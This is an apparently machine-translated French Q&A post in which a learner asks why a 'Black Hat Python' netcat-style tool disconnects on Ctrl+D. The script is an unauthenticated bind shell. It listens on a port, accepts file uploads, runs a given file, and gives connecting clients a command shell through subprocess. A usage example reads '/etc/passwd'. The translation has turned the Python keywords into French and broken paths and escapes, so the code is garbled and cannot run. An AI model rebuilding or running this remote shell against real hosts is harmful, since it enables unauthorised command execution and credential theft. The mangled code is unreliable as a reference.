Black Hat Python – Échange de pile de sécurité de l'information

Black Hat Python – Échange de pile de sécurité de l'information

Je suis en train de parcourir le livre "Black Hat Python" pour apprendre des notions de Python à des fins de sécurité.

J'ai du mal avec ce script:

#! / usr / bin / env python3
système d'importation, socket, getopt, threading, sous-processus

listen = False
commande = False
upload = False
exécuter = ''
cible = ''
upload_dest = ''
port = 0


def usage ():
    print ('Outil BHP Net')
    impression()
    print ('Utilisation: bhpnet.py -t target_host -p port')
    print ('' '- l --listen - Écoutez sur (hôte) :( port) pour
                                            connexions entrantes '' ')
    print ('' '- e --execute = file_to_run -execute le fichier donné sur
                                            recevoir une connexion '' ')
    print ('- c --command -initilize un shell de commande')
    print ('' '- u --upload = destination - à la réception du téléchargement de la connexion
                                           un fichier et écrire dans (destination) '' ')
    impression()
    impression()
    print ('Exemples:')
    print ('bhpnet.py -t 192.168.0.1 -p 5555 -l -c')
    print ('bhpnet.py -t 192.168.0.1 -p 5555 -l -u = c: \ target.exe')
    print ('bhpnet.py -t 192.168.0.1 -p 5555 -l -e =  "cat / etc / passwd "')
    print ('echo "ABCDEFGHI" | ./bhpnet.py -t 192.168.11.12 -p 135')
    sys.exit (0)


def main ():
    écoute globale
    propriété globale
    exécution globale
    commande globale
    global upload_destination
    cible globale

    sinon len (sys.argv (1 :)):
        usage()

    # lire les options de la ligne de commande
    essayer:
        opts, args = getopt.getopt (sys.argv (1 :), 'hle: t: p: cu:',
        ('help', 'listen', 'execute', 'target', 'port', 'command', 'upload'))
    sauf getopt.GetoptError comme err:
        print (str (err))
        usage()

    pour o, a opts:
        si o dans ('-h', '--help'):
            usage()
        elif o in ('-l', '--listen'):
            écouter = vrai
        elif o in ('-e', '--execute'):
            exécuter = a
        elif o in ('-c', '--commandshell'):
            commande = True
        elif o in ('-u', '--upload'):
            upload_destination = a
        elif o in ('-t', '--target'):
            cible = a
        elif o in ('-p', '--port'):
            port = int (a)
        autre:
            affirmer False, 'Option non gérée'

    sinon ecoute et len ​​(cible) et port> 0:
        tampon = sys.stdin.read ()
        client_sender (tampon)

    si écoute:
        server_loop ()


def client_sender (tampon):

    client = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    essayer:
        client.connect ((cible, port))
        si len (tampon):
            client.send (tampon)

        alors que vrai:
            recv_len = 1
            réponse = ''

            tandis que recv_len:
                data = client.recv (4096)
                recv_len = len (données)
                réponse + = données
                si recv_len <4096:
                    Pause

            imprimer (réponse)
            tampon = entrée ('')
            tampon + = ' n'

            client.send (tampon)

    sauf exception comme e:
        print (str (e))
        client.close ()


def server_loop ():
    cible globale

    sinon len (cible):
        target = '0.0.0.0'

    serveur = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    server.bind ((cible, port))
    server.listen (5)

    alors que vrai:
        client_socket, addr = server.accept ()
        client_thread = threading.Thread (target = client_handler, args = (client_socket,))
        client_thread.start ()


def run_command (commande):
    command = command.rstrip ()

    essayer:
        output = subprocess.check_output (commande, stderr = sous-processus.STDOUT, shell = True)
    sauf:
        output = 'Échec de l'exécution de la commande.  r  n'
    enfin:
        retour de sortie


def client_handler (client_socket):
    téléchargement global
    exécution globale
    commande globale

    si len (upload_destination):
        file_buffer = ''

        alors que vrai:
            data = client_socket.recv (1024)

            sinon données:
                Pause
            autre:
                file_buffer + = data

        essayer:
            avec open (upload_destination, 'wb') en tant que descripteur de fichier:
                file_descriptor.write (file_buffer)

            client_socket.send (f le fichier a été sauvegardé avec succès sur {upload_destination}. ')
        sauf:
            client_socket.send (f'Failed to save file to {upload_destination}. ')

    si len (exécute):
        output = run_command (execute)
        client_socket.send (sortie)

    si commande:

        alors que vrai:
            client_socket.send (' ')
            cmd_buffer = ''
            alors que ' n' n'est pas dans cmd_buffer:
                cmd_buffer + = client_socket.recv (1024)

            response = run_command (cmd_buffer)
            client_socket.send (réponse)


si __name__ == '__main__':
    principale()

Le problème vient du moment où l’hôte et le client sont retirés de Ctrl + D cela devrait me prendre en ligne de commande personnalisée où je pourrai exécuter des commandes sur la machine à laquelle je suis connecté (localhost dans ce cas) et récupérer la sortie. Cependant, quand je presse Ctrl + D la connexion se termine et jette une erreur que je rattrape sur la ligne marquée. Je ne comprends pas pourquoi cela se passe-t-il?